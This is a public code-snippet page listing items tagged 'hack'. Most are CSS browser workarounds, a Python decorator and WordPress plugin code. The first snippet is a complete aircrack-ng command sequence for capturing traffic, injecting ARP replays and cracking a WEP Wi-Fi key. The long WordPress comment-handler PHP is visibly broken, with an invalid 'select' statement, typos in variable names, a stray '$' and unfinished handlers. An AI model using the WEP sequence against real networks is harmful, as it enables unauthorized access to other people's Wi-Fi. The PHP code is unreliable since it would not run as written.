Latest 100 public
snipts » hack
showing 1-9 of 9 snipts for hack
-
∞ Crack WEP with BackTrack 4
airmon-ng start [interface] airodump-ng [interface] --write down-- bssid, channel --leave running in seperate terminal-- airodump-ng -w [filename] -c [channel] -bssid [bssid] [interface] --associate-- aireplay-ng -1 0 -a [bssid] [interface] --attack-- aireplay-ng -3 -b [bssid] [interface] --crack @ 100,000 #DATA-- aircrack-ng [filename.cap]
-
∞ Easy css hacks using SASS
//Easy CSS Hacks using SASS // In most cases, you'll never need the 3rd, or 4th hacks here. #idtag * html & //IE6 and below cssstyle: value * first-child+html & //IE7 only cssstyle: value html>body & //IE7,IE8, and modern browsers cssstyle: value html:first-child & //Opera only 9 and below cssstyle: value
-
∞ Fix for mir image replacement (IE6)
.mir {letter-spacing : -1000em; text-indent : -999em; overflow : hidden;}
-
∞ IE 6 min-height hack
selector { min-height:500px; height:auto !important; height:500px; }
-
∞ Disqus Wordpress Plugin Fix Disabled Comments Pages
// modified disqus.php in Disqus Wordpress Plugin file dir // Added by SwB to fix the comments_disabled obedience of disqus plugin... if ( ('closed' == $post->comment_status) || ('page' == $post->post_type)){ return; } // End SwB Added. if ( ! (is_single() || is_page() || $withcomments) ) { return; }
-
∞ Safari Hack
@media screen and (-webkit-min-device-pixel-ratio:0) { body { background-color: blue; } }
-
∞ Decorator to call the super method automagically.
class CallSuper(Exception): pass def callsuper(method): """ Decorator for calling the super method automagically. In the submethod, if a ``CallSuper`` exception is raised at any point, then the wrapper will look up the class's MRO (method resolution order) for a method of the same name. If none is found, the exception is allowed to permeate. If one is found, it too is wrapped with the ``callsuper`` decorator and called with the arguments passed to ``CallSuper.__init__()``. """ def callsuper_wrapper(self, *args): try: return method(self, *args) except CallSuper, exc: supermethod, name = None, method.__name__ for base in self.__class__.mro()[1:]: if (hasattr(base, name) and hasattr(getattr(base, name), '__call__')): supermethod = callsuper(getattr(base, name)) break if not supermethod: raise return supermethod(self, *exc.args) callsuper_wrapper.__name__ = method.__name__ callsuper_wrapper.__doc__ = method.__doc__ return callsuper_wrapper # Test it out global COUNTER COUNTER = 0 class SuperClass(object): def method(self): global COUNTER COUNTER += 1 # Increment counter. class SubClass(SuperClass): @callsuper def method(self): global COUNTER COUNTER += 1 # Increment counter. raise CallSuper SubClass().method() assert COUNTER == 2
-
∞ WordPress comment form POST processor replacement
<?php // ******************************************************************** // * ISPYA-COMMENTS-POST.PHP - ISPYA plug replaces the standard WP * // * comments form posting behavior by hooking the WP 'init' action * // * event. This allows us to upload image files as attachments to * // * anonymous comments with appropriate processing of the files and * // * automatic registration of the posters. * // * NOTE: we use the existing WP code but add autoreg and user login * // * state management using PHP Sessions. // * -----------------------------------------------------------------* // * Author: Michael A. Hobson * // * Last Modified: 20081222-1448 * // ******************************************************************** /** * Handles Comment Post to WordPress and prevents duplicate comment posting. * * @package WordPress */ /* ******************************************************************** if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) { header('Allow: POST'); header('HTTP/1.1 405 Method Not Allowed'); header('Content-Type: text/plain'); exit; } // ** Sets up the WordPress Environment. / require( dirname(__FILE__) . '/wp-load.php' ); ******************************************************************** */ // ****************************************************************** // * ispya_destroy_session_state() - Save all session variables * // * used by this script to maintain comment media upload process- * // * ing state. * // ****************************************************************** function ispya_destroy_session_state() { unset($_SESSION['ispya_redirect_to']); unset($_SESSION['ispya_comment_post_next_state']); unset($_SESSION['ispya_comment_post_last_state']); unset($_SESSION['ispya_comment_post_ID']); unset($_SESSION['ispya_comment_post_author']); unset($_SESSION['ispya_comment_post_author_email']); unset($_SESSION['ispya_comment_post_author_url']); unset($_SESSION['ispya_comment_post_content']); unset($_SESSION['ispya_file_was_uploaded']); unset($_SESSION['ispya_upload_was_good']); unset($_SESSION['ispya_comment_post_user_ID']); unset($_SESSION['ispya_comment_login_required']); unset($_SESSION['ispya_comment_user_logged_in']; } // ****************************************************************** // * ispya_save_session_state() - Save all session variables used by this * // * script to maintain comment media upload processing state. * * // ****************************************************************** function ispya_save_session_state() { global $comment_post_next_state; global $comment_post_last_state; global $redirect_to; global $comment_post_ID; global $comment_author; global $comment_author_email; global $comment_author_url; global $comment_content; global $file_was_uploaded; global $upload_was_good; global $comment_post_user_ID; global $comment_login_required; global $called_from_self; $_SESSION['ispya_comment_post_next_state'] = $comment_post_next_state; $_SESSION['ispya_comment_post_last_state'] = $comment_post_last_state; $_SESSION['ispya_comment_post_ID'] = $comment_post_ID; $_SESSION['ispya_comment_post_author'] = $comment_author; $_SESSION['ispya_comment_post_author_email'] = $comment_author_email; $_SESSION['ispya_comment_post_author_url'] = $comment_author_url; $_SESSION['ispya_comment_post_content'] = $comment_content; $_SESSION['ispya_file_was_uploaded'] = $file_was_uploaded; $_SESSION['ispya_upload_was_good'] = $upload_was_good; $_SESSION['ispya_comment_post_user_ID'] = $comment_post_user_ID; $_SESSION['ispya_comment_login_required'] = $comment_login_required; $_SESSION['ispya_comment_user_logged_in'] = $comment_user_logged_in; } // ****************************************************************** // * ispya_restore_session_state() - Save session variables used by * // * by this script to maintain comment media upload processing * // * state. * // ****************************************************************** function ispya_restore_session_state() { global $comment_post_next_state; global $comment_post_last_stat; global $redirect_to; global $comment_post_ID; global $comment_author; global $comment_author_email; global $comment_author_url; global $comment_content; global $file_was_uploaded; global $upload_was_good; global $comment_post_user_ID; global $comment_login_required; global $comment_user_logged_in; // check whether we have any session state preserved if (!ispya_called_from_self()) { // clear all session variables as we are in a new comment // form submission POST request ispya_destroy_session_state(); $_SESSION['ispya_comment_post_next_state'] = $comment_post_next_state = ISPYA_CMU_COMMENT_NEW; $_SESSION['ispya_comment_post_last_state'] = $comment_post_last_state = ISPYA_CMU_IDLE; $_SESSION['ispya_comment_post_ID'] = $comment_post_ID = (int) $_POST['comment_post_ID']; $_SESSION['ispya_redirect_to'] = $redirect_to = (int) $_POST['redirect_to']; } else { // restore all session state variables $comment_post_next_state = $_SESSION['ispya_comment_post_next_state']; $comment_post_last_state = $_SESSION['ispya_comment_post_last_state']; $comment_post_ID = $_SESSION['ispya_comment_post_ID']; $comment_author = $_SESSION['ispya_comment_post_author']; $comment_author_email = $_SESSION['ispya_comment_post_author_email']; $comment_author_url = $_SESSION['ispya_comment_post_author_url']; $comment_content = $_SESSION['ispya_comment_post_content']; $file_was_uploaded = $_SESSION['ispya_file_was_uploaded']; $upload_was_good = $_SESSION['ispya_upload_was_good']; $comment_post_user_ID = $_SESSION['ispya_comment_post_user_ID']; $comment_login_required = $_SESSION['ispya_comment_login_required']; $comment_user_logged_in = $_SESSION['ispya_comment_user_logged_in']; } } //******************************************************************* //* ispya_process_comment_post() - overrides WP-COMMENT-POST.PHP * //* comment form POST processing. * //******************************************************************* function ispya_process_comment_post() { global $wpdb; global $called_from_self; // Session state variables preserved across successive // invocations of WP-COMMENT-POST.PHP global $comment_post_next_state; global $comment_post_last_stat; global $comment_post_ID; global $comment_author; global $comment_author_email; global $comment_author_url; global $comment_content; global $file_was_uploaded; global $ispya_upload_was_good; global $comment_post_user_ID; global $comment_login_required; global $comment_user_logged_in; nocache_headers(); $self_server = $_SERVER['HTTP_HOST']; $php_self = $_SERVER['PHP_SELF']; $self_uri = 'http://' . $self_server . $php_self; $referer_uri = $_SERVER['HTTP_REFERER']; $output_ispya_dialog = false; ispya_restore_session_state(); // **************************************************************** // * Process dialog form user responses as needed * // **************************************************************** $called_from_self = ispya_called_from_self(); if ($called_from_self) { switch ($comment_post_last_state) { } } // **************************************************************** // * Test/Debug Messages * // **************************************************************** if (ISPYA_TEST_COMMENT_POST_MESSAGE) { $output_ispya_dialog = true; $ispya_dialog_heading = '<h2>ISPYA Comment POST Handler Test</h2>'; $ispya_dialog_content = '<FORM ACTION="' . $self_uri . '" METHOD="POST" ENCTYPE="application/x-www-form-urlencoded">' . "<p><b>self_uri:</b>self_uri:</b>$self_uri<br /><b>referer_uri:</b>$referer_uri<br />" . '<b>called_from_self:</b>' . ($called_from_self ? 'true' : 'false') . '</b></p>' . "<p><b>comment_post_ID:</b>$comment_post_ID</b></p>" . '<INPUT type="submit" name="ispya_dialog" value="Click Here To Submit">' . '</FORM>'; } // **************************************************************** // * Comment Form POST processing finite state machine. * // **************************************************************** $comment_post_FSM = COMMENT_POST_FSM_RUN; $comment_post_state = $comment_post_next_state; while ($comment_post_FSM) { // Do the appropriate thing based upon current machine state select ($comment_post_state) { // ************************************************************ // * New comment form submission. Get all information related * // * to the form submission and any possible media attachment.* // ************************************************************ case ISPYA_CMU_COMMENT_NEW: // Preserve all information we can about the initial // post from the form data and context. This only has // to be done one time per comment post. $comment_post_ID = (int) $_POST['comment_post_ID']; $status = $wpdb->get_row( $wpdb->prepare("SELECT post_status, comment_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) ); if ( empty($status->comment_status) ) { do_action('comment_id_not_found', $comment_post_ID); exit; } elseif ( !comments_open($comment_post_ID) ) { do_action('comment_closed', $comment_post_ID); wp_die( __('Sorry, comments are closed for this item.') ); } elseif ( in_array($status->post_status, array('draft', 'pending') ) ) { do_action('comment_on_draft', $comment_post_ID); exit; } // get fields from POST variables $comment_author = trim(strip_tags($_POST['author'])); $comment_author_email = trim($_POST['email']); $comment_author_url = trim($_POST['url']); $comment_content = trim($_POST['comment']); // Were comment media uploads enabled for this particular post? $media_upload_allowed = false; $file_was_uploaded = false; $upload_was_good = false; $comment_login_required = false; $comment_user_logged_in = false; // *** Determine next FSM state *** $comment_post_last_state = $comment_post_next_state; // file upload status determines next state if (ispya_media_upload_allowed($comment_post_ID)) { $media_upload_allowed = true; $file_was_uploaded = !$ispya_file_not_uploaded(); $upload_was_good = $ispya_file_upload_OK(); if ($file_was_uploaded && !$upload_was_good) $comment_post_next_state = ISPYA_CMU_UPLOAD_ERROR; } else $comment_post_next_state = ISPYA_CMU_GET_LOGIN; break; // transition to next FSM state // ************************************************************ // * Media Attachment Upload Error * // ************************************************************ case ISPYA_CMU_UPLOAD_ERROR: $ispya_dialog_heading = '<h2>Photo Upload Error!</h2>'; $ispya_dialog_content = '<FORM ACTION="' . $self_uri . '" METHOD="POST" ENCTYPE="application/x-www-form-urlencoded">' . '<p><b>We're sorry, but there was an error uploading your photo.' . 'Please try again or contact the site administrator, if you cannot' . 'upload successfully.</b></p>' . '<INPUT type="submit" name="ispya_dialog" value="Continue">' . '</FORM>'; // display error message dialog $output_ispya_dialog = true; $comment_post_next_state = ISPYA_CMU_POST_DONE; $comment_post_FSM = COMMENT_POST_FSM_STOP; break; // transition to next FSM state // ************************************************************ // * Get valid user login status. * // ************************************************************ case ISPYA_CMU_GET_LOGIN: // initial user check $user = wp_get_current_user(); $user_ID = $user->ID; $comment_user_logged_in = false; if ($media_upload_allowed && $file_was_uploaded && $upload_was good) $comment_login_required = true; // If the user is logged in $user = wp_get_current_user(); if ( $user_ID ) { $comment_user_logged_in = true; $comment_author = $wpdb->escape($user->display_name); $comment_author_email = $wpdb->escape($user->user_email); $comment_author_url = $wpdb->escape($user->user_url); if ( current_user_can('unfiltered_html') ) { if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) { kses_remove_filters(); // start with a clean slate kses_init_filters(); // set up the filters } } } else { if ( get_option('comment_registration') ) wp_die( __('Sorry, you must be logged in to post a comment.') ); } break; // transition to next FSM state // ************************************************************ // * LOGIN Error * // ************************************************************ case ISPYA_CMU_LOGIN_ERROR: break; // transition to next FSM state // ************************************************************ // * Attempt to automatically register comment poster * // ************************************************************ case ISPYA_CMU_AUTOREGISTER: break; // transition to next FSM state // ************************************************************ // * Autoregistration Error * // ************************************************************ case ISPYA_CMU_AUTOREGISTER_ERROR: break; // transition to next FSM state // ************************************************************ // * Add Comment Record to Database * // ************************************************************ case ISPYA_CMU_COMMENT_ADD: $comment_type = ''; if ( get_option('require_name_email') && !$user->ID ) { if ( 6 > strlen($comment_author_email) || '' == $comment_author ) wp_die( __('Error: please fill the required fields (name, email).') ); elseif ( !is_email($comment_author_email)) wp_die( __('Error: please enter a valid email address.') ); } if ( '' == $comment_content ) wp_die( __('Error: please type a comment.') ); $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'user_ID'); $comment_id = wp_new_comment( $commentdata ); $comment = get_comment($comment_id); break; // transition to next FSM state // ************************************************************ // * Error Adding Comment Record to Database * // ************************************************************ case ISPYA_CMU_COMMENT_ADD_ERROR: break; // transition to next FSM state // ************************************************************ // * Add Comment Media Attachments to Database * // ************************************************************ case ISPYA_CMU_MEDIA_ADD: if (!$media_added) { $ispya_dialog_heading = '<h2>Photo Upload Error!</h2>'; $ispya_dialog_content = '<FORM ACTION="' . $self_uri . '" METHOD="POST" ENCTYPE="application/x-www-form-urlencoded">' . '<p><b>We're sorry, but your photo could not be added to our ' . 'contest database.<br>' . 'Please try again or contact the site administrator, ' . 'if you continue to experience difficulty.</b></p>' . '<INPUT type="submit" name="ispya_dialog" value="Continue">'. '</FORM>'; // destroy the comment that was just added to the database ispya_destroy_comment_and_upload($comment_ID); $output_ispya_dialog = true; $ } break; // transition to next FSM state // ************************************************************ // * Error Adding Comment Media Attachments to Database * // ************************************************************ case ISPYA_CMU_MEDIA_ADD_ERROR: break; // transition to next FSM state // ************************************************************ // * Comment Form POST Handling All Done * // ************************************************************ case ISPYA_CMU_COMMENT_POST_DONE: if ( !$user->ID ) { setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + 30000000, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + 30000000, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_url_' . COOKIEHASH, clean_url($comment->comment_author_url), time() + 30000000, COOKIEPATH, COOKIE_DOMAIN); } $location = ( empty($_POST['redirect_to']) ? get_permalink($comment_post_ID) : $_POST['redirect_to'] ) . '#comment-' . $comment_id; $location = apply_filters('comment_post_redirect', $location, $comment); wp_redirect($location); $comment_post_FSM = COMMENT_POST_FSM_STOP; break; // transition to next FSM state } // end of select ($comment_post_next_state) $comment_post_last_state = $comment_post_state; $comment_post_state = $comment_post_next_state; } // end of while($comment_post_FSM) //******************************************************************** //** Terminate WP-COMMENT-POST.PHP script processing for current ** //** invocation here. Either an ISPYA dialog will be displayed on ** //** the user's browser (which ultimate returns to this script), or ** //** we've finished all comment form POST processing and need to ** //** return to WP's main script. ** //******************************************************************** if ($output_ispya_dialog) { ispya_save_session_state(); wp(); // initialize wordpress system & query include(TEMPLATEPATH . '/ispya-dialog.php'); // output the ispya dialog within current theme } else { ispya_destroy_session_state(); $location = ( empty($redirect_to) ? get_permalink($comment_post_ID) : $redirect_to ) . '#comment-' . $comment_id; $location = apply_filters('comment_post_redirect', $location, $comment); wp_redirect($location); } exit(0); } ?>
-
∞ ie max & min width
/* Fallback if JavaScript is disabled */ width: 960px; /* JS-Expression for min-/max-width simulation */ width: expression((document.documentElement && document.documentElement.clientHeight) ? ((document.documentElement.clientWidth < 740) ? "740px" : ((document.documentElement.clientWidth > (80 * 16 * (parseInt(this.parentNode.currentStyle.fontSize) / 100))) ? "80em" : "auto" )) : ((document.body.clientWidth < 740) ? "740px" : ((document.body.clientWidth > (80 * 16 * (parseInt(this.parentNode.currentStyle.fontSize) / 100))) ? "80em" : "auto" ))); or the easyer with px: width:expression(document.body.clientWidth < 742? "740px" : document.body.clientWidth > 1070? "968px" : "auto") !important;


